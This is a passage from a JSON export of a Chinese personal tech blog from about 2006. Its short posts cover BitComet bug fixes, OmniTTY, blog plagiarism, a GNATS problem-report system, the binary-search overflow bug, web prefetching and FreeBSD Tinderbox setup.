    "title": "Apache 與 IIS 的比例"
  },
  {
    "id": "638",
    "body": "<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 0.68 出版一陣子了 (大約一個禮拜)，在 <a href=\"http://www.bitcomet.com/doc/changelog.htm\">BitComet Client Release Notes</a> 裡可以看到兩個比較重要的修正：\r\n<ul>\r\n\t<li>Core Bugfix: fix the bug that the program may crash when parsing some non-standard HTTP protocol packet</li>\r\n\t<li>Core Bugfix: fix the bug that the program may crash when parsing some non-standard encryption protocol packet</li>\r\n</ul>\r\n看起來應該是 Security Issue？既然會 Crash，那麼就有蠻大的機會來一發？所以，還在用舊版 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 的使用者，建議換成 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a>，如果真的用不習慣再用 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 0.68 吧 XD",
    "title": "BitComet 0.68"
  },
  {
    "id": "639",
    "body": "前陣子在 #bsdchat 上聽 <a href=\"http://rafan.infor.org/\" rel=\"tag\">rafan</a> 講 <a href=\"http://omnitty.sourceforge.net/\" rel=\"tag\">OmniTTY</a> 可以透過 ssh 連到很多台機器，然後開 Multicast Mode 對每台機器下指令，再加上 ssh-agent 可以把輸入密碼的步驟省掉，就超級方便 XD\r\n\r\n結果聽完以後一直沒機會測試，直到今天 <a href=\"http://help.cs.nctu.edu.tw/pr/\" rel=\"tag\">PR System</a> 上有東西需要更新 /etc/login.conf，剛好可以拿來玩看看。\r\n\r\n先進入 Omnitty，然後用 F5 開一堆機器，接下來用 F1 + T 把所有的機器都標起來，再用 F7 進入 Multicast Mode，然後把要下的指令打進去，就會像這樣：(順便提一下，你可以用 F2/F3 上下移動看看每台機器的情況 XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/161839541/\"><img src=\"http://static.flickr.com/73/161839541_f149f95d10.jpg\" alt=\"OmniTTY\" /></a>\r\n\r\n然後繼續打：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/161839543/\"><img src=\"http://static.flickr.com/76/161839543_a1e921f474.jpg\" alt=\"OmniTTY\" /></a>\r\n\r\n接著你可以用 F2/F3 上下移動看看是不是每一台都做完了 :p",
    "title": "OmniTTY"
  },
  {
    "id": "640",
    "body": "早上在 IRC 上看到 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 說他的文章被抄了，而且連 comment 都一起抄到 comment 的地方 XD：<a href=\"http://spaces.msn.com/ianstaiwan/Blog/cns!1pEGl-2xwEZs834h_BxrdhWQ!1237.entry\">http://spaces.msn.com/ianstaiwan/Blog/cns!1pEGl-2xwEZs834h_BxrdhWQ!1237.entry</a>，而 <a href=\"http://blake.yichi.org/\" rel=\"tag\">Blake</a> 學長看完以後發現自己的 Blog 名字也在上面就無奈了 XD：\r\n<blockquote>10:51 &lt;@ijliao&gt; 好可怕...\r\n10:51 &lt;@ijliao&gt; http://spaces.msn.com/ianstaiwan/Blog/cns!1pEGl-2xwEZs834h_BxrdhWQ!1237.entry\r\n10:52 &lt;@ijliao&gt; 這文章明明是我寫的, 但是他拿去改成這鬼樣 orz\r\n10:52 &lt;@ijliao&gt; 更悍的是... 竟然連 comment 也 co 去了 XD\r\n10:53 &lt;@Blake&gt; 我居然看到自己blog名字的comment</blockquote>\r\n連過去看本文，語氣一點都不像 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 寫的。倒是 comment 倒是一看就知道是抄學長的，因為用的名稱太熟悉了 :p\r\n\r\n正想要問 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 是抄哪一篇，回頭就在 IRC 上看到長輩已經把原文丟出來給大家對照：\r\n<blockquote>10:53 &lt;@ijliao&gt; <a href=\"http://blog.ijliao.info/archives/2005/10/22/1850/\">http://blog.ijliao.info/archives/2005/10/22/1850/</a> # 原文 ;p</blockquote>\r\n把 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 的跟這傢伙的比照一下就讚嘆不已，可以抄到完全感覺不出來是原作者 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 寫的 XD\r\n\r\n仔細看過以後，發現大概是把標點的部分改掉 (用三個句點)，然後再把某幾句換上一些等義詞，看起來比較「生動」一點 :p 後來又花了一些時間從首頁翻了幾篇文章，看起來都是抄別人的文章當作自己的作品 :p (有些文章的風格不太一樣，另外有幾篇把關鍵字丟進 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找，可以找到原來的文章)\r\n<blockquote>10:55 &lt;@ijliao&gt; http://spaces.msn.com/ianstaiwan/ # 抄好多\r\n10:56 &lt;@Blake&gt; ijliao: 你的仰慕者？？ :p\r\n10:56 &lt;@ijliao&gt; http://spaces.msn.com/ianstaiwan/blog/cns!EDC8252070837C45!1759.entry # 這也是我寫的\r\n10:57 &lt;@Blake&gt; 被他這樣改過之後，還真是有點耳目一新的感覺... :p\r\n10:57 &lt;@Blake&gt; 完全都看不出來是廖董寫過的文章 :p\r\n10:57 &lt;@ijliao&gt; *默*\r\n10:58 &lt;@pesty&gt; 連分級都抄? XD\r\n10:58 &lt;@ijliao&gt; 連 comment 都抄才絕好不好\r\n10:58 &lt;@ijliao&gt; 抄 content 算什麼 XD\r\n10:58 &lt;@Blake&gt; 的確，連 comment 都抄這個就真的厲害了</blockquote>",
    "title": "抄！"
  },
  {
    "id": "641",
    "body": "這篇積在 Draft 裡面好久了 (從受傷前就丟著)，主要是目前的 PR System 用了一陣子以後有些想法。\r\n\r\n目前系上在用的 PR System 是在 <a href=\"http://help.cs.nctu.edu.tw/pr/\">http://help.cs.nctu.edu.tw/pr/</a>，跟 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 使用的是同一套系統 (<a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a>)，但跑起來還是遇到一些問題：\r\n<ul>\r\n\t<li>中文：大多數助教的 Terminal 還是 Big5，但我在網頁上是用 UTF-8，於是 edit-pr 時如果不是使用 UTF-8 的助教，就必須打英文進去，不然在網頁上會出現亂碼。我不確定這能不能算「遠見」，因為我根本不知道以後 Big5 環境會不會被淘汰掉。另外當使用者回信到 GNATS 上回報時，GNATS 不會理會信件的 MIME，會直接 append 在 PR 上面... 這對於使用英文的團體 (像是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a>) 當然沒問題，但對於我們來說就頗頭痛的。</li>\r\n\t<li>時間：我不知道 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 建立 GNATS 後多久才穩定下來 (整個社群都習慣透過 GNATS 參與維護)，但看起來我們還要弄蠻久的 :p 一個主要的原因在於助教常常見面，所以有些事情當面講就解決了，於是 GNATS 上什麼記錄都沒有。這和 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 完全不同，平常是見不到面的。</li>\r\n</ul>\r\n所以我也不知道接下來要怎麼辦 :p",
    "title": "目前 PR System 的問題"
  },
  {
    "id": "642",
    "body": "在 <a href=\"http://rafan.infor.org/\" rel=\"tag\">rafan</a> 板上看到 Binary Search 的問題：<a href=\"http://googleresearch.blogspot.com/2006/06/extra-extra-read-all-about-it-nearly.html\">Extra, Extra - Read All About It: Nearly All Binary Searches and Mergesorts are Broken</a>。\r\n\r\n簡單來說就是 int 能處理的數字不夠，以他給的例子中：\r\n<blockquote><pre>6:        int mid = (low + high) / 2;</pre></blockquote>\r\n當 low + high &gt; INT_MAX 時就會炸掉，所以在這篇文章裡給了一些解法：\r\n<blockquote><pre>6:        int mid = low + ((high - low) / 2);</pre></blockquote>\r\n或是：\r\n<blockquote><pre>6:        mid = ((unsigned) (low + high)) >> 1;</pre></blockquote>\r\n果然是在大單位裡面才會遇到的 bug XD",
    "title": "Binary Search"
  },
  {
    "id": "643",
    "body": "更新 <a href=\"https://addons.mozilla.org/firefox/1136/\">Adblock Plus Filterset.G</a> 後發現新版的 <code>@@/ad/.*\\w{10,30}/</code> 白名單會讓無名的廣告 bypass 出現，於是就會看到一堆廣告... 把這個白名單 disable 後就好多了。",
    "title": "無名的廣告"
  },
  {
    "id": "644",
    "body": "在找書的時候發現學校圖書館提供新進書目的 RSS feed，興高采烈點進去看，差點把飲料噴到螢幕上：<a href=\"http://140.113.39.155/rss/RSS_feeds.asp\">國立交通大學圖書館 新書通報 RSS訂閱服務系統</a>。\r\n\r\n會選擇使用 RSS 吸收資訊，就是要解決資訊爆炸的問題，結果一個頁面裡放上百個 RSS feed，這...\r\n\r\nPS：交大的中文圖書是採用 <a href=\"http://zh.wikipedia.org/wiki/%E8%B3%B4%E6%B0%B8%E7%A5%A5%E4%B8%AD%E5%9C%8B%E5%9C%96%E6%9B%B8%E5%88%86%E9%A1%9E%E6%B3%95\">賴永祥中國圖書分類法</a>，RSS 也是照這個分類做的，不過有些項目就更細了，所以超過一百個 RSS。",
    "title": "畫虎不成反類犬"
  },
  {
    "id": "645",
    "body": "我平常就在使用 <a href=\"http://www.mozilla.org/projects/bonecho/\" rel=\"tag\">BonEcho</a> Alpha (即 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Mozilla Firefox</a> 2.0 Alpha)，雖然用得很開心，但有時還是會遇到設計不良的網站令人掃興。\r\n\r\n像是用 <a href=\"http://www.mozilla.org/projects/bonecho/\" rel=\"tag\">BonEcho</a> 連 <a href=\"http://www.riya.com/\" rel=\"tag\">Riya</a>，會告知我所使用的瀏覽器並不支援，而不讓我使用：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/164063807/\"><img src=\"http://static.flickr.com/64/164063807_a5dfdfc544.jpg\" alt=\"Riya\" /></a>\r\n\r\n但我只要用 <a href=\"https://addons.mozilla.org/firefox/59/\" rel=\"tag\">User Agent Switcher</a> 將送出的 User-Agent 換成 IE6，或是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 1.5.0.3，就可以使用整個站台，換句話說，<a href=\"http://www.mozilla.org/projects/bonecho/\" rel=\"tag\">BonEcho</a> 的確有能力觀看整個網站。\r\n\r\n要避免這種情況，在 <a href=\"http://www.quirksmode.org/js/support.html\" rel=\"tag\">Object detection</a> 就有講到要怎麼避免直接判斷瀏覽器的種類，而應該儘量從「瀏覽器支援哪些功能」判斷。",
    "title": "被歧視的 Firefox 2.0"
  },
  {
    "id": "646",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://www.samsung.com/\" rel=\"tag\">Samsung</a> 研發出兩吋 640x480 LCD。以一般 17\" LCD 提供 1280x1024 的 pixel 密度計算，密度高出十幾倍：<a href=\"http://digg.com/hardware/Samsung_squeezes_640x480_pixels_on_1.98_display\">Samsung squeezes 640x480 pixels on 1.98\" display</a>。",
    "title": "兩吋的 640x480 螢幕"
  },
  {
    "id": "647",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到講 Unix 上 Programming 可能要注意的事項，可以參考看看：<a href=\"http://digg.com/linux_unix/Secure_Programming_for_Linux_and_Unix_HOWTO\">Secure Programming for Linux and Unix HOWTO</a>。\r\n\r\n有些東西我不確定正確性，尤其是 Crypto 那節的東西。對於安全性而言，推薦使用 3DES 而非 AES 的想法有點奇怪，我不是很確定現在 Symmetric Key System (以及 Private Key Cryptography) 的進展，要找時間查。",
    "title": "Secure Programming for Linux and Unix HOWTO"
  },
  {
    "id": "648",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 看到有人修改 Google Account Login 的 URL，試著挖看看有什麼有趣的東西，就如同有人拿字典檔定時跑 [word].google.com，看有沒有新東西出現是一樣的道理 :p\r\n\r\n結果這次挖到一些看起來很有趣，但不知道是做什麼的東西：<a href=\"http://blog.outer-court.com/archive/2006-06-10-n33.html\">Google RS2, SSD...?</a>。URL 分別是：\r\n<ul>\r\n\t<li>https://www.google.com/accounts/Login?service=rs2</li>\r\n\t<li>https://www.google.com/accounts/Login?service=ssd</li>\r\n\t<li>https://www.google.com/accounts/Login?service=mdc</li>\r\n</ul>\r\n其中 MDC 已經知道是 Mobile Download Console，聽名字可以知道方向，但 RS2 與 SSD 就完全不知道了 XD",
    "title": "試著從 Google Account 挖寶"
  },
  {
    "id": "649",
    "body": "看到幾則大胖子 <a href=\"http://scobleizer.wordpress.com/\" rel=\"tag\">Robert Scoble</a> 要離開 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的新聞：\r\n<ul>\r\n\t<li><a href=\"http://www.calacanis.com/2006/06/11/scoble-to-leave-microsoft/\">Scoble to leave Microsoft</a></li>\r\n\t<li><a href=\"http://www.siliconvalleywatcher.com/mt/archives/2006/06/microsofts_top.php\">Microsoft's top blogger Robert Scoble is leaving....</a></li>\r\n\t<li><a href=\"http://gigaom.com/2006/06/10/scoble-leaving-microsoft/\">Scoble Leaving Microsoft?</a></li>\r\n</ul>\r\n當事人還沒出面解釋，所以不知道是不是芭樂新聞 XD\r\n\r\n<strong>Update</strong>：大胖子在他的 Blog 上對這項傳聞寫的不太清楚，另外還丟了張看起來很怒的照片出來：<a href=\"http://scobleizer.wordpress.com/2006/06/10/how-i-feel/\">How I feel</a> XD 另外他還寫了一篇 <a href=\"http://scobleizer.wordpress.com/2006/06/10/correcting-the-record-about-microsoft/\">Correcting the Record about Microsoft</a> 駁斥外界對於 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的傳言 XD 但還是看不太出來他要不要跳槽啊 :p\r\n\r\n<strong>Update</strong>：<a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 發現在消息傳出後，大量湧進的流量搞爆 <a href=\"http://www.podtech.net/\" rel=\"tag\">podtech.net</a>：<a href=\"http://news.netcraft.com/archives/2006/06/12/scoble_news_bogs_down_podtechnet.html\">Scoble News Bogs Down Podtech.net</a>。\r\n\r\n<strong>Update</strong>：<a href=\"http://scobleizer.wordpress.com/\" rel=\"tag\">Scoble</a> 丟出一張 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 統計的圖，被各大媒體 DDoS 產生的量：\r\n\r\n<img src=\"http://static.flickr.com/71/166078055_804a1d1054.jpg\" alt=\"\" />",
    "title": "Robert Scoble 離開 Microsoft？"
  },
  {
    "id": "651",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 將放棄 Windows 2000 之前的支援：<a href=\"http://developers.slashdot.org/article.pl?sid=06/06/08/1240239\">Firefox to Drop Pre-Windows 2000 Support</a>。加上 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 不打算修正 Windows 98 上的漏洞 (<a href=\"http://it.slashdot.org/article.pl?sid=06/06/09/1724239\">Microsoft Stops Supporting Win98 Early</a>)，這使得還在用古董的長輩 (像是還在用 Windows 95 的 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a>) 得開始考慮換 OS 了 XD",
    "title": "Firefox 對於 Windows 的支援"
  },
  {
    "id": "652",
    "body": "這個禮拜有兩個期末考 (星期二與星期四)，結果這時候開始流鼻水... o_O 這一定是晚上電風扇吹太爽的關係 =_= 再看看要怎麼辦好了...\r\n\r\n<strong>Update</strong>：邊流鼻水邊流眼淚好辛苦 @_@",
    "title": "流鼻水"
  },
  {
    "id": "653",
    "body": "<a href=\"http://gizmodo.com/gadgets/pcs/msi-crystal-945-allinone-lcd-pc-180178.php\">MSI Crystal 945 All-In-One LCD PC</a>：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/166134230/\"><img src=\"http://static.flickr.com/51/166134230_86a15f41fd.jpg\" alt=\"\" /></a>\r\n\r\n不過側面看起來好亂...",
    "title": "正面看起來好像某項產品..."
  },
  {
    "id": "654",
    "body": "不知道寫在這裡當事人看不看的到 XD\r\n\r\n剛剛在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上看到了一個新的 PR，不是自己人 (計中助教) 生出來的，很興奮的跑去看是什麼：<a href=\"http://help.cs.nctu.edu.tw/pr/183\">Problem Report linux/183: 無法寫入磁碟</a>。\r\n\r\n看了看 PR，不知道到底是哪台主機：<a href=\"http://www.csie.nctu.edu.tw/\" rel=\"tag\">csie</a> 有十九台 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 工作站可以登入使用，您說的是哪台啊 +_+ 只好一台一台登入進去看 wtmp 紀錄 (還好平常就有丟 ssh key)，發現送 pr 的人是使用 linux8 這台主機，用 vi (vim) 測了一下也沒發現問題，只好放著讓 linuxadm 處理了 XD\r\n\r\n在填寫 PR 時，如果能把問題寫的更詳細，或是能提供重複的步驟，這樣對於想幫忙的人會比較快解決問題，尤其這段時間大家都在期末考 o_O",
    "title": "Bug/Problem Report 的技巧"
  },
  {
    "id": "655",
    "body": "這學期修 <a href=\"http://www.csie.nctu.edu.tw/~rjchen/coding-theory/\" rel=\"tag\">Coding Theory</a>，在裡面學到的 <a href=\"http://en.wikipedia.org/wiki/Viterbi_algorithm\" rel=\"tag\">Viterbi Algorithm</a> 是 <a href=\"http://en.wikipedia.org/wiki/Andrew_Viterbi\" rel=\"tag\">Andrew Viterbi</a> 發明的。\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Andrew_Viterbi\" rel=\"tag\">Andrew Viterbi</a> 除了在電子方面的成就外，還是一個成功的經營者：他是 <a href=\"http://en.wikipedia.org/wiki/Qualcomm\" rel=\"tag\">Qualcomm</a> 的創辦人之一。西元兩千年時 <a href=\"http://en.wikipedia.org/wiki/Andrew_Viterbi\" rel=\"tag\">Andrew Viterbi</a> 在 <a href=\"http://en.wikipedia.org/wiki/Forbes_400\" rel=\"tag\">Forbes 400</a> 排名第 386 名，是個大長輩 :p\r\n\r\nPS：<a href=\"http://www.wretch.cc/blog/natural&article_id=3014247\">Coding Theory 的程式作業</a> 這篇實在是... XD",
    "title": "Andrew Viterbi"
  },
  {
    "id": "656",
    "body": "看到 <a href=\"http://frogbsd.wordpress.com/\" rel=\"tag\">zmx</a> 這篇 <a href=\"http://frogbsd.wordpress.com/2006/06/13/rss-%e6%a8%99%e9%a1%8c%e7%b7%a8%e7%a2%bc%e5%95%8f%e9%a1%8c-2/\">RSS 標題編碼問題</a> 想到之前碰到的問題。\r\n\r\n之前在寫 <a href=\"http://blogs.law.harvard.edu/tech/rss\" rel=\"tag\">RSS 2.0</a> 時發現，如果只照著 Spec 上送 &lt;description&gt;內容&lt;/description&gt;，在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上看不到斷行，後來決定看 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 處理的方法，發現除了 &lt;description&gt;內容&lt;/description&gt; 以外，還多了 &lt;content:encoded&gt;內容&lt;/content:encoded&gt;，照著這個方法作就會有斷行。\r\n\r\n也許該試看看 Atom 1.0...",
    "title": "RSS 2.0 的定義"
  },
  {
    "id": "657",
    "body": "世界盃開打，結果賭博網站掛掉：<a href=\"http://news.netcraft.com/archives/2006/06/13/uk_betting_sites_hit_by_outages_during_world_cup.html\">UK Betting Sites Hit By Outages During World Cup</a>。\r\n\r\n照 <a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 的說明，這次的「經濟規模」是 2002 年的五倍，但另一方面，每當有重大比賽時，這些網站就會被勒索，如果勒索不成就會遭到 DDoS 攻擊。所以目前還不是很確定這些網站掛掉是因為量太大的關係，還是因為有人惡意攻擊。",
    "title": "世界盃"
  },
  {
    "id": "658",
    "body": "在 <a href=\"http://www.ebay.com/\" rel=\"tag\">eBay</a> 買下 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 後這麼久，透過 <a href=\"https://www.paypal.com/\" rel=\"tag\">Paypal</a>「轉帳」的功能被整合到 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 的軟體內了：<a href=\"http://gigaom.com/2006/06/13/skype-paypal-integration/\">Skype-PayPal Integration</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/166971730/\"><img src=\"http://static.flickr.com/66/166971730_e5b57cc576.jpg\" alt=\"Skype Paypal Integration\" /></a>",
    "title": "Skype 與 Paypal 的整合"
  },
  {
    "id": "659",
    "body": "騎腳踏車受傷，右手手掌骨折，縫針打鋼釘，要修養一個月 O_O 如果有事情，請儘量打手機找我，用單手打字不太方便 :p\r\n\r\nPS：該搞 Podcasting 嗎？o_O\r\n\r\n<strong>Update</strong>：突然想到，我現在沒辦法在實體商店用信用卡 O_O 這樣就不能跑出去偷買東西了 :~",
    "title": "受傷"
  },
  {
    "id": "660",
    "body": "剛剛在 IRC 上看到 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁大長輩</a> 丟出來的圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/scriptingnews/166088283/\"><img src=\"http://static.flickr.com/68/166088283_3809db9c45.jpg\" alt=\"The Beeb is having some fun\" /></a>\r\n\r\n這個夠好笑 XD",
    "title": "大胖子 Scoble 離開 Microsoft 後的新聞"
  },
  {
    "id": "661",
    "body": "在 <a href=\"http://glinden.blogspot.com/\" rel=\"tag\">Geeking with Greg</a> 這看到關於 Web Accelerator 如果使用 Prefetching 會造成的問題：<a href=\"http://glinden.blogspot.com/2006/06/web-acceleration-without-prefetching.html\">Web acceleration without prefetching</a>。\r\n\r\n有些網站設計上有些瑕疵，會用 &lt;a href=\"blah.php?action=suicide\"&gt;刪除帳號&lt;/a&gt; 這種方法來傳指令，然後自以為很聰明的用 Javascript 跳出一個 Yes/No 的視窗確認。這種網站在遇到 Prefetching 時就會... 舉個例子說，<a href=\"http://group.nctu.edu.tw/\" rel=\"tag\">Group.NCTU.edu.tw</a> 的 logout 就是一個例子。\r\n\r\n比較「中性」的方法是放棄這麼激烈的作法，改用 DNS cache，然後先連線到對方主機，但先不要送資料。這樣可以省下 DNS 查詢的時間以及建立 TCP Connection 的時間。只比原來 Prefetching 的方法少了最後抓資料的時間，但卻讓穩定性上升不少。",
    "title": "Prefetching 的問題"
  },
  {
    "id": "662",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 也開始測試 Pay-Per-Sale 了，也就是完成交易後才付出廣告費用：\r\n<ul>\r\n\t<li><a href=\"http://blog.outer-court.com/archive/2006-06-21-n17.html\">Google Testing Pay-Per-Sale AdSense?</a></li>\r\n\t<li><a href=\"http://battellemedia.com/archives/002662.php\">News: Google Pay Per Action Network Test</a></li>\r\n</ul>\r\nPay-Per-View 容易以大量的假流量偽造，而 Pay-Per-Click 則有假點擊的問題。當時就有人提出 Pay-Per-Sale 的觀念：在交易成立後才需要付廣告費用，而這種方式幾乎無法偽造。\r\n\r\n看 <a href=\"https://www.google.com/adsense/\" rel=\"tag\">Google Adsense</a> 的發展看了兩年，終於推出 Pay-Per-Action 了... (跟以往一樣，都先找一批人測試，然後看效果如何並進行評估)\r\n\r\n加上前陣子剛好又有風聲要搞 Google Payment，而發言人跳出來澄清說他們不是要做類似 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 的東西，看起來還頗有樣子的，接下來就是等時間了 :p",
    "title": "Google 的 Pay-Per-Sale"
  },
  {
    "id": "663",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到 <a href=\"http://www.thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 的反解有很多很有趣的名字 XD：<a href=\"http://www.boingboing.net/2006/06/15/piratebay_hides_anti.html\">PirateBay hides anti-MPAA taunt in DNS</a>。\r\n\r\nPS：<a href=\"http://www.thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 又改名了，這次叫 The Phoenix Bay，然後 Logo 畫個鳳凰... 不知道 MPAA 的大魔頭看到會有什麼感想 XD\r\n\r\n<strong>Update</strong>：剛剛在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://www.thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 從荷蘭搬回瑞典的消息，難怪會把 Logo 換成鳳凰：<a href=\"http://digg.com/links/The_Piratebay_Returned_To_Its_Base\" rel=\"tag\">The Piratebay Returned To Its Base</a>。",
    "title": "The Pirate/Phoenix Bay 的 DNS 反解"
  },
  {
    "id": "664",
    "body": "前天回 <a href=\"http://www.hc.mmh.org.tw/\" rel=\"tag\">新竹馬偕</a> 拆針，因為線已經陷在肉裡面，拆針的時候不小心剪到肉 !@#$%^... 鋼釘則還要再三個禮拜才能拆，humm...\r\n\r\n<!-- ckey=\"051D71A9\" -->",
    "title": "拆針"
  },
  {
    "id": "665",
    "body": "颱風天回新竹馬偕檢查顏面神經... 臉上被扎了三針 XD\r\n\r\nAnyway，已經回台北了，下禮拜拔鋼釘 (鋼針) 時順便看報告。",
    "title": "回新竹馬偕檢查"
  },
  {
    "id": "666",
    "body": "這篇主要是給 FreeBSD Ports maintainer/committer 看的，如果你看不懂，呃... 到 #bsdchat 上問看看吧 :p\r\n\r\n<a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a> (在 <a href=\"http://www.freshports.org/misc/tinderbox/\" rel=\"tag\">misc/tinderbox</a> 裡) 主要是拿來測試 port 是否可以正常的編出來，順便產生 package。網頁在 <a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">http://tinderbox.marcuscom.com/</a> 這，其中的 <a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">README</a> 寫得蠻清楚的，建議仔細看。\r\n\r\n<a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a> 的好處在於他會產生一個 chroot 的環境 (在 <a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a> 官方說明文件裡的 \"Jail\" 指的是 chroot 的環境，下面提到 Jail 都是指這個，而非 FreeBSD 的 jail)，然後在裡面進行編譯的工作，這可以測試在系統什麼都沒有裝的情況下是否能正確編譯。主要是要看有沒有漏設 *_DEPENDS。\r\n\r\n另外，<a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a> 可以在 6.x 的機器上建立出 5.x 甚至 4.x 的 Jail 並進行編譯，這使得以往要在多台機器上測試的情況可以在一台機器上測試完畢。\r\n\r\n再來，<a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a> 可以對每個 Jail/PortsTree/Build 自訂環境變數 (關於什麼是 PortsTree 與 Build，在後面會提到)，於是你可以利用這些東西建立出設定不同的 Perl version (4.11 系統裡的 5.00503，或是 5.6.x，或是目前建議用的 5.8.x)，這對於 p5-* 的 maintainer 相當方便。\r\n\r\n接下來開始講 <a href=\"http://www.freshports.org/misc/tinderbox/\" rel=\"tag\">misc/tinderbox</a> 的安裝，<a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a> 需要一個 Database，裝 mysql 4.1 之後的版本，接著裝 <a href=\"http://www.freshports.org/databases/p5-DBI/\" rel=\"tag\">databases/p5-DBI</a> 與 databases/p5-DBD-mysql{41,50,51,...}，然後才裝 <a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a>。\r\n\r\n裝好後東西都丟在 <code>/usr/local/tinderbox</code> 下，原則上不動這個目錄，直接找個夠大的空間 cp -R 過去，像我自己是丟在 <code>/da1/tb</code> 下。\r\n\r\n丟進去以後改 <code>/da1/tb/scripts/tinderbox.ph</code>，改前面幾行的設定就好，重點在於第一行的路徑要設對就可以了。改好後跑 <code>cd /da1/tb/scripts &amp;&amp; ./tc init</code>，然後看看 <code>/da1/tb</code> 下面是不是多了一堆目錄。\r\n\r\n接著建立 Jail，挑你想要測試的環境建立：\r\n<blockquote><code><small>#\r\n# 4.11-RELEASE\r\n./create Jail -j 4.11 -d \"FreeBSD 4.11-RELEASE\" -t RELENG_4_11 -u CVSUP -H cvsup.tw.freebsd.org\r\n#\r\n# 4-STABLE\r\n./create Jail -j 4 -d \"FreeBSD 4-STABLE\" -t RELENG_4 -u CVSUP -H cvsup.tw.freebsd.org\r\n#\r\n# 5.5-RELEASE\r\n./create Jail -j 5.5 -d \"FreeBSD 5.5-RELEASE\" -t RELENG_5_5 -u CVSUP -H cvsup.tw.freebsd.org\r\n#\r\n# 5-STABLE\r\n./create Jail -j 5 -d \"FreeBSD 5-STABLE\" -t RELENG_5 -u CVSUP -H cvsup.tw.freebsd.org\r\n#\r\n# 6.0-RELEASE\r\n./create Jail -j 6.0 -d \"FreeBSD 6.0-RELEASE\" -t RELENG_6_0 -u CVSUP -H cvsup.tw.freebsd.org\r\n#\r\n# 6.1-RELEASE\r\n./create Jail -j 6.1 -d \"FreeBSD 6.1-RELEASE\" -t RELENG_6_1 -u CVSUP -H cvsup.tw.freebsd.org\r\n#\r\n# 6-STABLE\r\n./create Jail -j 6 -d \"FreeBSD 6-STABLE\" -t RELENG_6 -u CVSUP -H cvsup.tw.freebsd.org</small></code></blockquote>\r\n執行後他會跑 cvsup 將指定的版本抓回來，然後 make world 將 Jail 建立出來。",
    "title": "FreeBSD Tinderbox (上)"
  },
  {
    "id": "668",
    "body": "7/18 在 <a href=\"http://www.hc.mmh.org.tw/\" rel=\"tag\">新竹馬偕</a> 把鋼針拔掉了，不過支架還是得繼續戴兩個禮拜。8/1 會再看一次，到時候會看手的情況決定支架是不是還要戴著。",
    "title": "近況"
  },
  {
    "id": "669",
